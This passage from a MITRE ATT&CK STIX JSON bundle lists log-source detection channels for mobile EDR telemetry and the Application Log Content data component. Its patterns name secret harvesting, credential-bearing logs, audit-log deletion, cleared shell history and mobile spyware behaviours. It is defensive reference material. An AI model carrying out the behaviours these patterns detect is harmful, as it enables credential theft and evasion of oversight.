                    "name": "MobileEDR:telemetry",
                    "channel": "Privileged or OEM-context framework/API use tied to telephony, device policy, accessibility, overlay, input injection, package visibility, or protected settings modification from an identity not expected for the device model or approved image"
                },
                {
                    "name": "android:logcat",
                    "channel": "Invocation of Calendar.set() and Calendar.add()"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "Supplemental anomaly in baseband, IOKit, accessory, security, or activation-related subsystem logging temporally adjacent to suspicious posture or network behavior"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Recently installed or updated trusted app invokes Android framework paths or special access patterns inconsistent with its role, including accessibility-like behavior, overlay behavior, package visibility expansion, protected settings access, device policy interaction, or unusual IPC/provider access"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "Supplemental managed app or system subsystem anomalies near install/update, launch services, extension handling, app activation, or background execution temporally adjacent to suspicious network or lifecycle behavior"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "App uses Android framework behaviors associated with background work scheduling, network job execution, IPC/provider access, overlay or accessibility-like interaction, or unusual package visibility immediately adjacent to web-service communication"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "Supplemental launch, background task, networking, or extension-handling anomalies occur temporally adjacent to suspicious web-service communication from a managed app or supervised device"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Background work scheduler, job execution, or persistent service triggered network request to public web-service followed by second outbound connection within TimeWindow"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "Background task or networking subsystem event occurred immediately before resolver retrieval and pivot connection sequence"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Background work scheduler, job execution, foreground-service start, or persistent service activation immediately preceded retrieve-then-write exchange with public web-service platform"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "Background task, networking, or app-activation subsystem event occurred immediately before or during retrieve-then-write exchange with public web-service platform"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Background work scheduler, job execution, foreground-service start, or persistent service activation immediately preceded outbound session using non-standard protocol-to-port pairing"
                },
                {
                    "name": "android:logcat",
                    "channel": "Invocation of CallLogs.getLastOutgoingCall()"
                },
                {
                    "name": "android:logcat",
                    "channel": "Invocation of ContactsContract.Contacts.getLookupUri() and/or ContactsContract.Contacts.lookupContact()"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "Camera, media capture, app-activation, or background-task subsystem event occurred immediately before or during sustained camera session from same managed-app or device context"
                },
                {
                    "name": "android:logcat",
                    "channel": "Invocation of AccountManager.getAccounts()"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "MediaProjection-style screen capture session began from app identity while a different app was foregrounded and capture path was not mapped to approved recording workflow"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Accessibility-service activity from app identity coincided with foreground content observation and subsequent screenshot, frame buffer, or screenrecord artifact behavior within TimeWindow"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Privileged screencap, screenrecord, adb-driven capture, or root-context screen acquisition behavior occurred from app, shell, or elevated identity while foreground app context changed or sensitive app remained active"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Accessibility-enabled app invoked programmatic click or action on behalf of user while a different app was foregrounded and injected action was not mapped to approved accessibility or autofill workflow"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Accessibility-enabled app invoked global action such as back, home, recents, or navigation control while target foreground app context changed within TimeWindow"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Accessibility-enabled app inserted text into active field of different foreground app without user keyboard activity or approved autofill relationship"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "App intercepts notification content from external package (e.g., messaging/auth apps) while in background OR without recent user interaction"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "App invokes cryptographic functions (e.g., AES/RSA/KeyStore usage) on buffer data followed by encode/transform operations not tied to normal app workflows"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "App invokes symmetric encryption routines (e.g., AES/RC4 cipher initialization + encrypt operations) with repeated key usage across multiple data buffers"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Symmetric key material reused across multiple encryption operations within short interval OR derived locally without secure hardware-backed storage"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "App invokes asymmetric cryptographic operations (e.g., RSA/ECC keypair generation OR public key encryption OR signature operations) on outbound data buffers"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Keypair generation, import, or access events (public/private key usage) occurring prior to network communication"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Application invokes custom TLS trust evaluation logic or pin validation routines (e.g., custom TrustManager, HostnameVerifier override, certificate/public key comparison) immediately before outbound TLS session establishment"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Application invokes archive, compression, or bulk-buffer packaging routines on previously accessed local data within the same execution chain"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Application encrypts newly created archive or staged data blob after collection and before storage or outbound transfer"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Application performs bulk data transformation or packaging-like processing on collected records prior to file creation or upload"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Application queries or opens multiple local SQLite or app-associated database stores containing records unrelated to the app's declared function during the collection phase"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Application performs repeated record access, container traversal, or local data extraction processing against local stores before staging or transmission"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Application calls startForegroundService() or startForeground() / ServiceCompat.startForeground() and transitions to persistent foreground-service execution at the start of the chain"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Application invokes direct file retrieval, DownloadManager usage, or streaming write from network response to local storage immediately after remote session establishment"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Managed app performs post-download unpacking, dynamic resource handling, or module preparation immediately after local payload creation"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Application loads or resolves native shared library (.so) or JNI bridge immediately before suspicious native execution phase"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Application transitions from managed code into JNI/native function execution or attaches native thread to runtime during the execution phase"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Existing application is replaced, updated, or reinstalled and the resulting package metadata, code sections, or executable-supporting artifacts diverge from known-good baseline during the persistence-establishment phase"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Application invokes SMS send, intercept, delete, or provider-write behavior, including handling SMS_DELIVER or interacting with SMS content provider during unauthorized message-control phase"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Application enqueues WorkManager work request or schedules JobScheduler or AlarmManager task with delay, periodic interval, or execution constraints during the persistence/execution setup phase"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Application creates or executes NSBackgroundActivityScheduler activity with repeating or deferred invocation semantics during the scheduling and trigger phases"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Application initializes proxy-capable or raw-socket networking constructs, including SOCKS-capable Proxy API usage or direct socket listener/setup immediately before traffic relay phase"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Application invokes call placement, answer, redirect, block, screening, or ConnectionService call-handling APIs during unauthorized call-control phase"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "application process loads external code modules or injects into runtime (zygote/app_process) + abnormal library loading or method interception behavior"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Application registers broadcast receiver, WorkManager job, JobScheduler task, or intent filter tied to system event such as BOOT_COMPLETED, SMS_RECEIVED, CONNECTIVITY_CHANGE during persistence setup phase"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "application registers or invokes broadcast receiver via registerReceiver() or manifest-declared receiver + intent filter tied to system or app events"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "application launches or executes code where loaded library or component path does not match application package path or expected signing context"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "multiple applications invoking core system APIs (e.g., sensor, permission, telephony) with abnormal or inconsistent return values across apps within short interval"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "device integrity degradation + root detected or system partition modification affecting runtime libraries (e.g., /system/lib*, /vendor/lib*)"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "application invokes privileged framework APIs (Accessibility events, UI automation, package install flows) immediately following permission grant"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "application invokes DevicePolicyManager APIs (e.g., resetPassword, lockNow, setCameraDisabled) immediately following admin activation"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "application queries target-selection attributes (e.g., location, SIM/operator, locale, device state, network identity) and then conditionally invokes sensitive framework APIs only after expected value is observed"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "application exhibits repeated environment-context evaluation followed by delayed privileged framework use only after target-specific match"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "application invokes geolocation or geofencing framework operations (e.g., location polling or geofence registration/evaluation) and sensitive framework activity begins only after region match or location threshold condition"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "application exhibits repeated location-context evaluation followed by delayed privileged framework use or feature activation only after target region match"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "application invokes package or component state changes affecting launcher-facing activity availability and subsequently continues operational framework activity after icon suppression"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "application invokes motion-sensor or device-activity framework operations followed by conditional execution of sensitive framework activity only after inferred user absence"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "application invokes system framework operations that alter monitoring, accessibility, or execution visibility followed by reduction in expected telemetry generation"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "application invokes accessibility global actions (back/home/recents) or observes package-management UI immediately after uninstall/settings screen becomes foreground"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "application invokes lock-related or UI-denial framework operations, including DevicePolicyManager lock actions, persistent overlay behavior, or accessibility-driven navigation interference immediately before device enters locked or unusable state"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "application invokes package, settings, or privileged framework operations capable of disabling security software, altering security enforcement, or interfering with reporting before telemetry loss"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "application invokes uninstall-related package-management operations, accessibility-driven uninstall confirmation actions, or privileged file-removal operations immediately before installed-state loss"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "application invokes file-management, package, storage, or administrative wipe operations immediately before loss of expected local files or file collections"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
            "created": "2021-10-20T15:05:19.272Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0038",
                    "external_id": "DC0038"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2026-05-12T15:12:00.776Z",
            "name": "Application Log Content",
            "description": "Application Log Content refers to logs generated by applications or services, providing a record of their activity. These logs may include metrics, errors, performance data, and operational alerts from web, mail, or other applications. These logs are vital for monitoring application behavior and detecting malicious activities or anomalies. Examples: \n\n- Web Application Logs: These logs include information about requests, responses, errors, and security events (e.g., unauthorized access attempts).\n- Email Application Logs: Logs contain metadata about emails sent, received, or blocked (e.g., sender/receiver addresses, message IDs).\n- SaaS Application Logs: Activity logs include user logins, configuration changes, and access to sensitive resources.\n- Cloud Application Logs: Logs detail control plane activities, including API calls, instance modifications, and network changes.\n- System/Application Monitoring Logs: Logs provide insights into application performance, errors, and anomalies.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "ics-attack",
                "enterprise-attack",
                "mobile-attack"
            ],
            "x_mitre_version": "3.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "android:logcat",
                    "channel": "Default IME active or bound to <pkg> (InputMethodManager reports imeId=<pkg>)"
                },
                {
                    "name": "android:logcat",
                    "channel": "Default IME changed/active: imeId=<pkg>, onStartInput/onFinishInput high frequency. TYPE_APPLICATION_OVERLAY|addView .* showing on top of package <otherPkg>"
                },
                {
                    "name": "android:logcat",
                    "channel": "Default IME active imeId=<pkg>; frequent onStartInput/commitText calls"
                },
                {
                    "name": "android:logcat",
                    "channel": "addView TYPE_APPLICATION_OVERLAY|TYPE_APPLICATION_ATTACHED_DIALOG shown over <target_pkg>"
                },
                {
                    "name": "android:logcat",
                    "channel": "Secure/Global reads of device_policy_manager, accessibility_enabled, default_vpn, always_on_vpn"
                },
                {
                    "name": "android:logcat",
                    "channel": "Task switch from browser/custom tab to handler immediately after OAuth return"
                },
                {
                    "name": "android:logcat",
                    "channel": "ACTION_OPEN_DOCUMENT_TREE / ACTION_OPEN_DOCUMENT invoked without user gesture or repeatedly in background"
                },
                {
                    "name": "Application Log",
                    "channel": "None"
                },
                {
                    "name": "Application:Mail",
                    "channel": "smtpd$.*$: .*from=[.*@internaldomain.com](mailto:.*@internaldomain.com) to=[.*@internaldomain.com](mailto:.*@internaldomain.com)"
                },
                {
                    "name": "Application:Mail",
                    "channel": "Inbound messages with anomalous headers, spoofed SPF/DKIM failures"
                },
                {
                    "name": "Application:Mail",
                    "channel": "Inbound emails containing hyperlinks from suspicious sources"
                },
                {
                    "name": "Application:Mail",
                    "channel": "Inbound email attachments logged from MTAs with suspicious metadata"
                },
                {
                    "name": "Application:Mail",
                    "channel": "Mismatch between authenticated username and From header in email"
                },
                {
                    "name": "Application:Mail",
                    "channel": "High-frequency inbound mail activity to a specific recipient address"
                },
                {
                    "name": "ApplicationLog:API",
                    "channel": "Docker/Kubernetes API access from external sources"
                },
                {
                    "name": "ApplicationLog:CallRecords",
                    "channel": "Outbound or inbound calls to high-risk or blocklisted numbers"
                },
                {
                    "name": "ApplicationLog:EntraIDPortal",
                    "channel": "DeviceRegistration events"
                },
                {
                    "name": "ApplicationLog:IIS",
                    "channel": "IIS W3C logs in C:\\inetpub\\logs\\LogFiles\\W3SVC* (spikes in 5xx, RCE/SQLi/path traversal/JNDI patterns)"
                },
                {
                    "name": "ApplicationLog:Ingress",
                    "channel": "Kubernetes NGINX/Envoy ingress controller logs with anomalous payloads and 5xx spikes"
                },
                {
                    "name": "ApplicationLog:Intune/MDM Logs",
                    "channel": "Enrollment events (e.g., MDMDeviceRegistration)"
                },
                {
                    "name": "ApplicationLog:MailServer",
                    "channel": "Unexpected additions of sieve rules or filtering directives"
                },
                {
                    "name": "ApplicationLog:Outlook",
                    "channel": "Outlook client-level rule creation actions not consistent with normal user activity"
                },
                {
                    "name": "ApplicationLog:WebServer",
                    "channel": "/var/log/httpd/access_log, /var/log/apache2/access.log, /var/log/nginx/access.log with exploit indicators and burst errors"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "SendEmail"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "InvokeModel"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "InvokeFunction: Unexpected or repeated invocation of functions not tied to known workflows"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "CreateUser|AttachRolePolicy|CreateAccessKey|UpdateAssumeRolePolicy|CreateLoginProfile"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "StopLogging, DeleteTrail, UpdateTrail: API calls that disable or modify logging services"
                },
                {
                    "name": "AWS:CloudWatch",
                    "channel": "Repeated crash pattern within container or instance logs"
                },
                {
                    "name": "AWS:CloudWatch",
                    "channel": "Elevated 5xx response rates in application logs or gateway layer"
                },
                {
                    "name": "azure:activity",
                    "channel": "Add role assignment / ElevateAccess / Create service principal"
                },
                {
                    "name": "azure:audit",
                    "channel": "App registrations or consent grants by abnormal users or at unusual times"
                },
                {
                    "name": "azure:signinlogs",
                    "channel": "ConsentGrant: Suspicious consent grants to non-approved or unknown applications"
                },
                {
                    "name": "azure:signinlogs",
                    "channel": "Modify Conditional Access Policy"
                },
                {
                    "name": "azure:signinlogs",
                    "channel": "Register PTA Agent or Modify AD FS trust"
                },
                {
                    "name": "azure:signinlogs",
                    "channel": "Resource access initiated using application credentials, not user accounts"
                },
                {
                    "name": "docker:daemon",
                    "channel": "container_create,container_start"
                },
                {
                    "name": "docker:events",
                    "channel": "Container exited with non-zero code repeatedly in short period"
                },
                {
                    "name": "docker:runtime",
                    "channel": "execution of cloud CLI tool (e.g., aws, az) inside container"
                },
                {
                    "name": "EDR:detection",
                    "channel": "ThreatDetected, QuarantineLog"
                },
                {
                    "name": "EDR:detection",
                    "channel": "ThreatLog"
                },
                {
                    "name": "esxi:esxupdate",
                    "channel": "/var/log/esxupdate.log contains VIB installed with `--force` or `--no-sig-check` and non-standard acceptance levels"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "/var/log/hostd.log anomalies (faults, crashes, restarts) around inbound connections"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "Keywords: 'Backtrace','Signal 11','PANIC','hostd restarted','assert' or 'Service terminated unexpectedly' in /var/log/hostd.log, /var/log/vmkernel.log, /var/log/syslog.log."
                },
                {
                    "name": "esxi:hostd",
                    "channel": "unexpected script/command invocations via hostd"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "Guest Operations API invocation: StartProgramInGuest, ListProcessesInGuest, ListFileInGuest, InitiateFileTransferFromGuest"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "unexpected script invocations producing long encoded strings"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "Host daemon command log entries related to vib enumeration"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "New extension/module install with unknown vendor ID"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "vmkernel / OpenSLP logs for malformed requests"
                },
                {
                    "name": "esxi:vpxd",
                    "channel": "Symmetric crypto routines triggered for external session"
                },
                {
                    "name": "esxi:vpxd",
                    "channel": "ESXi process initiating asymmetric handshake with external host"
                },
                {
                    "name": "gcp:workspaceaudit",
                    "channel": "SendAs: Outbound messages with alias identities that differ from primary account"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "Repeated or large UIPasteboard reads; background pasteboard access shortly before packaging"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "UIPasteboard read (general/string/data) by <bundle_id>; repeated reads or background access"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "UIWindow/UIView events indicating secure text entry focus, editingChanged bursts, unexpected firstResponder cycling"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "Secure text entry focus and editingChanged bursts not typical for the app"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "Presentation of credential-like view (UIAlertController with text fields / custom modal) not backed by system auth controller; frequent editingChanged in secureTextEntry fields"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "Repeated canOpenURL checks across diverse schemes (\u2265N within short window)"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "UIDocumentPickerViewController presented repeatedly without foreground interaction or with short dwell time"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "repeated sandbox denials related to restricted process/system interfaces consistent with process-table querying attempts"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "security-relevant kernel log messages indicating restricted system interface access attempts by app process (device-dependent visibility)"
                },
                {
                    "name": "journald:Application",
                    "channel": "Segfault or crash log entry associated with specific application binary"
                },
                {
                    "name": "journald:systemd",
                    "channel": "Repeated service restart attempts or unit failures"
                },
                {
                    "name": "kubernetes:orchestrator",
                    "channel": "Access to orchestrator logs containing credentials (Docker/Kubernetes logs)"
                },
                {
                    "name": "linux:cli",
                    "channel": "cleared or truncated .bash_history"
                },
                {
                    "name": "linux:syslog",
                    "channel": "usb * new|thunderbolt|pci .* added|block.*: new .* device"
                },
                {
                    "name": "linux:syslog",
                    "channel": "Inbound messages from webmail services containing attachments or URLs"
                },
                {
                    "name": "linux:syslog",
                    "channel": "kernel|systemd messages indicating 'segmentation fault'|'core dumped'|'service terminated unexpectedly' for sshd, smbd, vsftpd, mysqld, httpd, etc."
                },
                {
                    "name": "linux:syslog",
                    "channel": "System daemons initiating encrypted sessions with unexpected destinations"
                },
                {
                    "name": "linux:syslog",
                    "channel": "milter configuration updated, transport rule initialized, unexpected script execution"
                },
                {
                    "name": "linux:syslog",
                    "channel": "Repetitive HTTP 408, 500, or 503 errors logged within short timeframe"
                },
                {
                    "name": "linux:syslog",
                    "channel": "Application or browser logs (webview errors, plugin enumerations) indicating suspicious script evaluation or plugin loads"
                },
                {
                    "name": "linux:syslog",
                    "channel": "processes binding to non-standard ports or sshd configured on unexpected port"
                },
                {
                    "name": "linux:syslog",
                    "channel": "system daemons initiating TLS sessions outside expected services"
                },
                {
                    "name": "linux:syslog",
                    "channel": "browser/office crash, segfault, abnormal termination"
                },
                {
                    "name": "linux:syslog",
                    "channel": "Error/warning logs from services indicating load spike or worker exhaustion"
                },
                {
                    "name": "linux:syslog",
                    "channel": "SPF fail OR DKIM fail OR DMARC fail OR mismatched from_domain vs return_path_domain"
                },
                {
                    "name": "linux:syslog",
                    "channel": "suspicious DHCP lease assignment with unexpected DNS or gateway"
                },
                {
                    "name": "linux:syslog",
                    "channel": "opened document|clicked link|segfault|abnormal termination|sandbox"
                },
                {
                    "name": "linux:syslog",
                    "channel": "Authentication attempts into finance-related servers from unusual IPs or times"
                },
                {
                    "name": "linux:syslog",
                    "channel": "sshd sessions with unusual port forwarding parameters"
                },
                {
                    "name": "linux:syslog",
                    "channel": "Non-standard processes negotiating SSL/TLS key exchanges"
                },
                {
                    "name": "linux:syslog",
                    "channel": "Module registration or stacktrace logs indicating segmentation faults or unknown module errors"
                },
                {
                    "name": "linux:syslog",
                    "channel": "Segfaults, kernel oops, or crashes in security software processes"
                },
                {
                    "name": "m365:exchange",
                    "channel": "Emails containing cleartext secrets (password=, api_key=, token=) shared across internal/external domains"
                },
                {
                    "name": "m365:exchange",
                    "channel": "Transport Rule Modification"
                },
                {
                    "name": "m365:exchange",
                    "channel": "Admin Audit Logs, Transport Rules"
                },
                {
                    "name": "m365:exchange",
                    "channel": "MailDelivery: High-frequency delivery of messages or attachments to a single recipient"
                },
                {
                    "name": "m365:exchange",
                    "channel": "New-InboxRule: Automation that triggers abnormal forwarding or external link generation"
                },
                {
                    "name": "m365:exchange",
                    "channel": "MessageTrace logs"
                },
                {
                    "name": "m365:exchange",
                    "channel": "External sender message followed by user action involving links or attachments"
                },
                {
                    "name": "m365:mailboxaudit",
                    "channel": "Outlook rule creation or custom form deployment"
                },
                {
                    "name": "m365:messagetrace",
                    "channel": "AuthenticationDetails=fail OR SPF=fail OR DKIM=fail OR DMARC=fail"
                },
                {
                    "name": "m365:messagetrace",
                    "channel": "X-MS-Exchange-Organization-AutoForwarded"
                },
                {
                    "name": "m365:purview",
                    "channel": "MailItemsAccessed & Exchange Audit"
                },
                {
                    "name": "m365:purview",
                    "channel": "MailItemsAccessed, Search-Mailbox events"
                },
                {
                    "name": "m365:teams",
                    "channel": "External chat request or new tenant communication preceding approval activity"
                },
                {
                    "name": "m365:unified",
                    "channel": "Unusual form activity within Outlook client, including load of non-default forms"
                },
                {
                    "name": "m365:unified",
                    "channel": "SendOnBehalf, MessageSend, ClickThrough, MailItemsAccessed"
                },
                {
                    "name": "m365:unified",
                    "channel": "SendOnBehalf, MessageSend, AttachmentPreviewed"
                },
                {
                    "name": "m365:unified",
                    "channel": "Send/Receive: Emails with suspicious sender domains, spoofed headers, or anomalous attachment types"
                },
                {
                    "name": "m365:unified",
                    "channel": "FileAccessed: Access of email attachments by Office applications"
                },
                {
                    "name": "m365:unified",
                    "channel": "Creation or modification of inbox rule outside of normal user behavior"
                },
                {
                    "name": "m365:unified",
                    "channel": "Send/Receive: Inbound emails containing embedded or shortened URLs"
                },
                {
                    "name": "m365:unified",
                    "channel": "AppRegistration: Unexpected application registration or OAuth authorization"
                },
                {
                    "name": "m365:unified",
                    "channel": "MessageSend, MessageRead, or FileAttached events containing credential-like patterns"
                },
                {
                    "name": "m365:unified",
                    "channel": "Set-Mailbox, Add-InboxRule, RegisterWebhook"
                },
                {
                    "name": "m365:unified",
                    "channel": "ConsentGranted: Abuse of application integrations to mint tokens bypassing MFA"
                },
                {
                    "name": "m365:unified",
                    "channel": "Application Consent grants, new OAuth client registrations, or unusual admin-level activities executed by a user account shortly after suspected drive-by compromise"
                },
                {
                    "name": "m365:unified",
                    "channel": "Folder configuration updated with external or HTML-formatted Home Page via Set-MailboxFolder"
                },
                {
                    "name": "m365:unified",
                    "channel": "PurgeAuditLogs, Remove-MailboxAuditLog"
                },
                {
                    "name": "m365:unified",
                    "channel": "Set-CsOnlineUser or UpdateAuthPolicy"
                },
                {
                    "name": "m365:unified",
                    "channel": "New-InboxRule or Set-InboxRule events recorded in Exchange Online"
                },
                {
                    "name": "m365:unified",
                    "channel": "Transport rule or inbox rule creation events"
                },
                {
                    "name": "m365:unified",
                    "channel": "GAL Lookup or Address Book download"
                },
                {
                    "name": "m365:unified",
                    "channel": "Send/Receive: Inbound emails with attachments from suspicious or spoofed senders"
                },
                {
                    "name": "m365:unified",
                    "channel": "certificate added or modified in application credentials"
                },
                {
                    "name": "m365:unified",
                    "channel": "Unusual MFA requests or OAuth consent events temporally aligned with user-reported vishing call"
                },
                {
                    "name": "m365:unified",
                    "channel": "Set federation settings on domain|Set domain authentication|Add federated identity provider"
                },
                {
                    "name": "m365:unified",
                    "channel": "SendOnBehalf/SendAs: Emails sent where the sending identity mismatches account ownership"
                },
                {
                    "name": "m365:unified",
                    "channel": "Set-MailboxAutoReplyConfiguration: Unexpected rule changes creating impersonated replies"
                },
                {
                    "name": "m365:unified",
                    "channel": "SendOnBehalf/SendAs: Office Suite initiated messages using impersonated identities"
                },
                {
                    "name": "m365:unified",
                    "channel": "Read-only configuration review from GUI"
                },
                {
                    "name": "m365:unified",
                    "channel": "Modify Federation Settings or Update Authentication Policy"
                },
                {
                    "name": "m365:unified",
                    "channel": "Send/Receive: Unusual spikes in inbound messages to a single recipient"
                },
                {
                    "name": "m365:unified",
                    "channel": "PowerShell: Add-MailboxPermission"
                },
                {
                    "name": "m365:unified",
                    "channel": "Add-MailboxPermission or Set-ManagementRoleAssignment"
                },
                {
                    "name": "m365:unified",
                    "channel": "Set-PartnerOfRecord / CompanyAdministrator role assignments / New-DelegatedAdminRelationship"
                },
                {
                    "name": "m365:unified",
                    "channel": "Add-DelegatedAdmin, Set-PartnerOfRecord, Add-MailboxPermission, Set-OrganizationRelationship"
                },
                {
                    "name": "m365:unified",
                    "channel": "MailSend: Outlook messages with suspicious subject/body terms (e.g., urgent payment, wire transfer) targeting finance teams"
                },
                {
                    "name": "m365:unified",
                    "channel": "FileAccessed, FileDownloaded, SearchQueried"
                },
                {
                    "name": "m365:unified",
                    "channel": "Detection of hidden macro streams or SetHiddenAttribute actions"
                },
                {
                    "name": "m365:unified",
                    "channel": "RunMacro"
                },
                {
                    "name": "m365:unified",
                    "channel": "FileUploaded or FileCopied events"
                },
                {
                    "name": "m365:unified",
                    "channel": "TeamsMessageAccess, TeamsExport, ExternalAppAccess"
                },
                {
                    "name": "m365:unified",
                    "channel": "TeamsMessagesAccessedViaEDiscovery, TeamsGraphMessageExport"
                },
                {
                    "name": "m365:unified",
                    "channel": "FileAccessed"
                },
                {
                    "name": "m365:unified",
                    "channel": "ApplicationModified, ConsentGranted: Unexpected app consent or modification events linked to security evasion"
                },
                {
                    "name": "m365:unified",
                    "channel": "MailItemsAccessed; AddedInboxRule; ConsentToApplication; SharingSet"
                },
                {
                    "name": "m365:unified",
                    "channel": "Set-AdminAuditLogConfig;New-ApplicationAccessPolicy;ConsentToApplication"
                },
                {
                    "name": "macos:jamf",
                    "channel": "RemoteCommandExecution"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Device attached|enumerated VID/PID"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Inbound email activity with suspicious domains or mismatched sender information"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "App/web server logs ingested via unified logging or filebeat (nginx/apache/node)."
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Received messages with embedded or shortened URLs"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Received messages containing embedded links or attachments from non-enterprise services"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process 'crashed'|'EXC_BAD_ACCESS' for sshd, screensharingd, httpd; launchd restarts of these daemons."
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "opendirectoryd crashes or abnormal authentication errors"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Logs from unifiedlogging that show browser crashes, plugin enumerations, extension installs or errors around the same time as suspicious network fetches"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "log stream cleared or truncated"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "quarantine or AV-related subsystem"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Repeated process crashes logged by CrashReporter or system instability logs in com.apple.console"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Inbound messages with attachments from suspicious domains"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Outgoing or incoming calls with non-standard caller IDs or unusual metadata"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Mail.app or third-party clients sending messages with mismatched From headers"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process crash, abort, code signing violations"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Configuration profile modified or new profile installed"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Crash log entries for a process receiving malformed input or known exploit patterns"
                },
